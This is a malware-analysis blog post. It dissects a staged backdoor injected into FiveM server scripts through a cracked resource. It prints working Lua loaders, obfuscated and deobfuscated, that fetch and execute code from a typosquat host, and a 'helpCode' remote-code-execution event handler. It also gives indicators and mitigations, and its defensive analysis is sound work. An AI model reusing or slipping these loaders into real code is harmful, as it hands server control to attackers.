Back to Blog

How a Windows Defender Alert Uncovered a Multi-Stage Backdoor Hiding in a FiveM Server

TL;DR

A friend's FiveM VPS got flagged by Windows Defender, and digging into it turned up a backdoor injected straight into existing resource scripts rather than shipped as its own resource. It runs a staged C2 download chain (Stage 2, 3, and 3b recovered; Stage 1 and 4 were not) plus a quieter script-to-script RCE channel, and the box itself had its hosts file rewritten to block antivirus vendor domains.

A friend runs a FiveM roleplay server. Windows Defender flagged something on his VPS, and he had enough of a hunch that it wasn't a false positive to ask around for help. That is how I ended up reading through his server's resource scripts line by line, and found a backdoor quietly living inside code that looked, at a glance, like every other FiveM resource on the box.

Malware Analysis

The code below is excerpted from a real, multi-stage backdoor and is shown for educational and defensive purposes only. Do not deploy, distribute, or execute any of it.

It Wasn't Its Own Resource

The first thing that made this annoying to find: the backdoor was never installed as its own resource. It was injected directly into the code of resources that were already legitimately on the server. A normal glance at the resource list turns up nothing, every folder name looks exactly like what it claims to be. You only find it by reading the actual script bodies, and even then it is written to not look like much.

As for how it got on the box in the first place: the carrier was a cracked copy of a paid script, vms_tattooshop. That fits the usual pattern, you grab what looks like a free copy of a paywalled resource, and the backdoor rides in already stitched into the code. From that first foothold it injects itself into the other resources on the server.

This is not just a guess. The vag.gg thread sharing the cracked script has the injection right there in vms_tattooshop/server/server.lua, and the replies are full of people who noticed it ("backdoor", "have a backdoor? or no?", "I assume we can just remove that right?"), one of them quoting the exact loader line. It is a simpler, un-obfuscated sibling of the staged loaders covered below:

As found (vms_tattooshop/server/server.lua)
PerformHttpRequest('https://cfx-re.org/i?to=wwWYh', function (e, d) pcall(function() assert(load(d))() end) end)

Same assert(load(d))() primitive, this time wrapped in a pcall so a failed fetch stays silent, and no hex table at all. The endpoint is shorter (/i rather than /v2_/stage3.php), but the to=wwWYh token is byte-for-byte the one the obfuscated loader below carries, tying the two samples to a single campaign. A bare loader like this is plausibly the sort of first-touch stage that kicks off the staged chain below.

The Download Chain

What I could recover forms a multi-stage chain, each stage fetching and executing the next. Stage 1 and Stage 4 were never recovered, the VPS's traces of them were gone by the time I looked, but Stages 2, 3, and 3b were sitting right there in the infected scripts.

2

Stage 2: The Loader

Found injected straight into a resource script. Every identifier here, function names included, is hex-escaped and stashed in a local table, then looked up on _G at call time instead of being referenced directly. That single trick defeats naive static scanners that grep for PerformHttpRequest or load verbatim.

As found
local LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x66\x78\x2d\x72\x65\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x77\x77\x57\x59\x68", function (fweGNtDULcJRRXyuzHsdvcQJdffLAmTOScUdgjGGzpyUkjxKwwnBBjsvKyvsWHdGtPRVgL, TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv) if (TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv == LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[6] or TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv == LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[5]) then return end LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[2]](LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[3]](TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv))() end)

Cleaned up, it is much less impressive:

Deobfuscated
_G["PerformHttpRequest"]("https://cfx-re.org/v2_/stage3.php?to=wwWYh", function(resCode, resultData)
    if (resultData == nil or resultData == "") then
        return
    end

    _G["assert"](_G["load"](resultData))()
end)

One request to stage3.php. If the response body is non-empty, it goes straight into load(), no signature, no allowlist, no check beyond "is it non-empty." Whoever controls cfx-re.org (a typosquat of the real CitizenFX domain, cfx.re) can push arbitrary Lua to every infected server on demand. No persistence at this stage, it runs once per resource load.

3

Stage 3: Polling, Without Stepping on Its Own Feet

Retrieved from stage3.php. Before doing anything else, it fires a randomly-named net event. FiveM dispatches that event synchronously, so if another already-running copy of the backdoor (injected into a different resource) is listening, its handler answers inline and this copy backs off and exits. Otherwise it registers itself as the one true instance. Worth naming since it recurs: Between Script Communication (BSC), injected scripts signaling each other over FiveM's own net event system. It keeps only one polling loop alive per server even if the backdoor got injected into several resources at once.

Deobfuscated
local shouldStop = nil

-- Dedup handshake: ask any already-running copy to answer
TriggerEvent("uJikMuBueKzqpNUZXDEi", function(value)
    shouldStop = value
end)

if (shouldStop) then
    return
end

-- No one answered, so become the responder for later copies
AddEventHandler("uJikMuBueKzqpNUZXDEi", function(cb)
    cb(true)
end)

local shouldRetry = true

Citizen.CreateThread(function()
    while shouldRetry do
        PerformHttpRequest('https://cfx-re.org/v2_/stage3b.php?asf=UDFmb21FQ3pWak43RUpncURLVzdOcTdsZ2ZPUVdRZk1iYUMvb3dUM2RySFlIVUE1SEMvZFN4aVRPdFNXa0llSw==', function (resCode, resultData)
            if(resCode == 200) then
                if (resultData == nil or resultData == "") then
                    return
                end

                local myFunction = assert(load(resultData))
                myFunction()

                shouldRetry = false
            end
        end)

        Citizen.Wait(4000)
    end
end)

Every four seconds it polls stage3b.php with an opaque, base64-wrapped asf parameter. The decoded bytes are not plaintext, almost certainly an encrypted or per-victim session token rather than anything human-readable. First HTTP 200 with a non-empty body gets executed, and the loop stops.

3b

Stage 3b: Leaving the Next Address Lying Around

Same polling shape as Stage 3, targeting stage4.php. The interesting detail is where it stores that URL:

Deobfuscated (excerpt)
_G['iQlZJttXDTvEmarvYvLr'] = 'https://cfx-re.org/v2_/stage4.php?asf=RFlTallWbStPcDJtYXN2ZW5pY29kTTFxRENacnZlNnBpemQvK0tCMENLVXovYkNwdWQ4NWo2Sm56NVZIcGVHTw=='

Unlike the hardcoded URLs in Stages 2 and 3, this one lives in a global, readable by any other Lua chunk running in the same environment, including a payload pushed later through the helpCode handler below, without needing to fetch or know the URL again. It also skips the dedup check Stage 3 does. Stage 3's guard means only one copy should normally get this far, but nothing here re-enforces that, so any copies that slipped past the race each run an independent Stage 3b loop. Could be an oversight, could be intentional redundancy to improve the odds that at least one copy reaches Stage 4. Stage 4 itself, presumably holding a persistent C2 connection open for live command execution, was never recovered.

The Real Primitive: assert(load(x))()

Every stage in this chain, and the channel below, ends with the same two lines: fetch a string from somewhere, hand it to Lua's built-in load() to compile it into a function, call it immediately. No sandbox, no capability restriction on what that compiled function can touch. Whoever can get a string into that call owns the server's Lua state.

A Quieter Way In

Alongside the HTTP chain, a second injected snippet registers a net event called helpCode:

Deobfuscated
_G["RegisterNetEvent"]('helpCode')
_G['AddEventHandler']('helpCode', function(code)
    _G["assert"](_G["load"](code))()
end)

This turns every infected resource into a generic remote-code-execution listener on the server's event bus. Once one resource is infected, anything able to trigger a server event named helpCode, another compromised resource, or the operator directly, can push Lua straight to it without repeating the noisier staged HTTP chain. It is the BSC technique again, this time used as a quiet lateral channel instead of a dedup guard.

What Else Was on the Box

Digging around the infected VPS past the resource scripts themselves, the hosts file had been rewritten to block a set of common antivirus vendor domains, presumably to keep those products from reaching their own update or cloud-lookup infrastructure. Worth noting: it did not stop Defender from flagging something in the first place, which suggests the block targets AV vendors' web infrastructure rather than whatever local or cloud-protection path Defender used to catch this.

MITRE ATT&CK Mapping

Based only on the behavior observed in the recovered stages:

  • T1027 Obfuscated Files or Information: hex-escaped string tables and decoy locals/constants throughout every stage, to defeat static analysis and signature scanning.
  • T1104 Multi-Stage Channels: payload delivered across a chain of stages (2 → 3 → 3b → 4), each fetched only after the previous one runs successfully.
  • T1071.001 Application Layer Protocol (Web Protocols): all stage-to-stage communication happens over HTTPS via PerformHttpRequest.
  • T1105 Ingress Tool Transfer: each stage downloads and immediately executes the next stage's code from a remote server.
  • T1059 Command and Scripting Interpreter: downloaded payloads are executed in-process via load()/assert(), dynamically evaluated Lua rather than dropped to disk.

Indicators of Compromise

TypeValueNotes
Domaincfx-re.orgTyposquat of the official CitizenFX domain cfx.re. Hosts Stage 2/3/3b payloads.
Domainthedreamoffivem[.]comC2 domain used by a second observed instance of this backdoor.
URLcfx-re.org/i?to=wwWYhPlaintext loader endpoint in the cracked vms_tattooshop shared on vag.gg. Same to=wwWYh campaign token as the /v2_/stage3.php stage.
Resourcevms_tattooshop (cracked)Cracked copy of a paid script used as the initial carrier for the injection.

Prevention and Mitigation

To avoid something similar on your own FiveM server:

  • Only pull resources from sources you actually trust, leaked/cracked resources are the most common carrier for this kind of injection.
  • Read new resource code before deploying it, especially anything that showed up as a random paste or a "free" copy of a paid script.
  • Keep the server and its dependencies updated, and run it behind a firewall.
  • Watch outbound traffic. A resource server having no business talking to random PHP endpoints doing so on a loop is a signal.

If you suspect you are already infected:

  • Block the known IOC domains at the firewall and in the hosts file.
  • Diff every resource against a known-clean copy and strip anything injected.
  • Restart the server only after the malicious code is fully removed, a live process can still be holding an active C2 connection.

Takeaway

If Defender flags something on a game server VPS, do not dismiss it because "FiveM scripts always look a bit weird." Professionally obfuscated RCE code hides comfortably inside resources you already trust, especially anything leaked or cracked. The scan that matters is reading the scripts you already have, not just the ones you are about to install.

Was this helpful?